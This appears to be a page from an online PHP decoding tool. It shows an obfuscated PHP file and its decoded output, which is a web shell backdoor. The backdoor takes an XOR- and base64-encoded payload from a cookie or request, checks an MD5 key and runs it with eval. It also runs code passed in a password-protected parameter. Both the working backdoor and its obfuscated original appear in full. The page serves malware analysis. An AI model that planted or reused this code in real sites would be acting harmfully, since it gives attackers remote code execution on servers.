Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $GTrCmer='XE.W36bJO:MEX9N'^';7K6GS=,:T.11V '; $GLsMRANHmCW = $GTrCmer('', 'I.MFF46N3..

Decoded Output download

if(!function_exists('xor_data__mut')) {
	function xor_data__mut($data, $key)     {
		$out = '';
		for($i = 0; $i<strlen($data); $i++)
		$out .= ($data[$i] ^ $key[$i % strlen($key)]);
		return($out);
	}
}

$data = false;
$data_key = false;

foreach ($_COOKIE as $key => $value) {
	$data_key = $key;
	$data = $value;
}

if (!$data) {
	foreach ($_REQUEST as $key => $value) {
		$data_key = $key;
		$data = $value;
	}
}

$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == 'cf94416b34fb053a2b893477766f739a') && array_key_exists('payload', $data))      {
	eval($data['payload']);
	exit(0);
}

if(array_key_exists('p1', $_REQUEST) && array_key_exists('pass', $_REQUEST) && (md5($_REQUEST['pass']) == 'ff6cb56b876eedf90b5bca2c0a210f91')) { call_user_func(create_function('', $_REQUEST['p1'])); exit(0); }

echo(md5(md5($_SERVER["HTTP_HOST"])));

Did this file decode correctly?

Original Code

<?php $GTrCmer='XE.W36bJO:MEX9N'^';7K6GS=,:T.11V '; $GLsMRANHmCW = $GTrCmer('', 'I.MFF46N30XT,E<I;IOPlVBN:U 2;f:SG8TSCD3emQFTUOD>RG:BNr1UJRt3A Tip+TZJbgHWWIMBRkSTVx;lj C9vLOqqy2El6B1YAUoWkZybsWF=BRAX<BP7;C7FWXq3OHOamQFO9DCBURIOH9J7<hY.O1lfKSYjV:MCmH=D5H-KLE3YllqhfmD>INGJ9DV>Y0CIG4NMCoonR4,9diZ+LL0<Y<FOVE8oQ1,hpj-;<<0aGY+5KKQ58HCM+1;x>r<K4CPOW4DKGwItDQUEQbSC>BH,+J9.:3MWDOiZ-.hn<MR,LUZPWR1VZG+jG8L2PSuIEoY4AWmd2gB BLE7T,IrJ196g8p2iN55PCV+;jEKvNFQPAEYO6nLPfR-;Oq>S0IZKWS7UK<bpGU+JJILjLF0;YVrblMeEIlhY7X2DPLq1>:+4WLGW2Id9,96+.9+8+ CLyRPKWas3DV1T Wdh+VB9ADOF6Y7VcKE4XFRr.+ZUXM;ZzSKBWHO9L32 7,.--1MSZLKTUBYKNQ6A8oAjTlM,=lIB6RT7grZ<:omHGDXnO,KmypVDPUP,RBWg0WUANIVfPcxCVpZU3jaDWLMY EAY4G3E7U78EN<CTC+.;816QCKO,1ATKOdaBzqTPalEH0RaCD7<P=EAM1B60Tk0GNZm,ADXZGqQaDlRS,ESFR CkKK;f7;<XDSIU8CnHjfi64<ue+tQKDJZS+7Q8o;<=7PHI298eWHQKXRHHs:3==ex51sVvktO.=cps4< jlys>nVBSEJJ>pzGWNM02xN+cLQVXY-<IWlABl7NJATiMfefHNVUXsj4I2S RjGSVB8H3:NKC0 09Ib0F7N7.V-RAMZEQ4n-:,7m68PAyI>ZHbUK<B9kvPWF+FRE4 DL ,oJ,5ZrR.<6<gec9zui=2hvo8mT5PzBSo'^' Heg AX-GY7:s D H=<xK.-<e1AFZ9e>2LszjdHod73:6;-Q<gB-<-U4>3+l,U ATO5.+NGl<20dbrKst-r2eNO6MVqoVVB8LeP-Cqe<OjKjBBW>zN6 -=RjtSZ7VolxUZdcfkdXb L0clhrak,X>VgL0sooLB 6 1rSmfM;I6Y-Cch.V E1XSldML,:28WlrQ,DjrM=3G>eeJ6UXXDTzM- CYb6b+71Y0:TUHMJKZPOUZMSMZ9.0VPhkitrt7u;ykU0pk<Q=kzIiP20904Ks84KlHJ>XqQV4wyoM1HWSd5i6M84zmwvG762NQMEF895UadK=U56DDImKF-> V7DiZnnks6m5a=nTFpg=NBJxuVj00<4 poMdEYB6LO..U6Iigks8R,p6kyc1J>+iqJh0QW,3Ihe0o8CfL=V,Sdml1DPINF>-+>H,LACKiOOMJgtM68Q0182WGl 3R;D2LLO76XhhobR8C7<  MqoixGMrq<,O;Zumb6:=X5lYENsKUDB9 rk 1,eukj5W5YFaLrLeAYYafR3 V<U1YCH0agyeNhO-TMDgr2fdJ0rbTQe7ywzbQgTNu0GilRMHdqjm8R7  k,V<h0OQ6:Oks3JWWWPRvokkHP55bfDAbZQt+ke >Q>Ig VH1fb1,H.YQ0LmnuPdI9-,rwXjk9fX:Jm24 A:4 .B9RCU+0 arHrIdJB6dqm  x xkblz2YE0A0PYDh50 AMKMp808+udhWeaxl0=feZvPMTgCYVXWkne;9< j5q2269mcYZzjnjVTN-IVz3nooHY-1Uq YU-+s7Y,TTV.wgrqZJOiQ2L>52 30g.FT-c BEQM,=V3Y-CG9Czfjveuk<hkyr>bcw1HncsaYu.D+MCFylfVLX WH+dMHZbAQoZvqosn1 1bX==ib7> k9vhySkhe'); $GLsMRANHmCW();

Function Calls

null 1
create_function 1

Variables

$GTrCmer create_function
$GLsMRANHmCW None

Stats

MD5 f9730beac31a9516341f424193c5c129
Eval Count 1
Decode Time 100 ms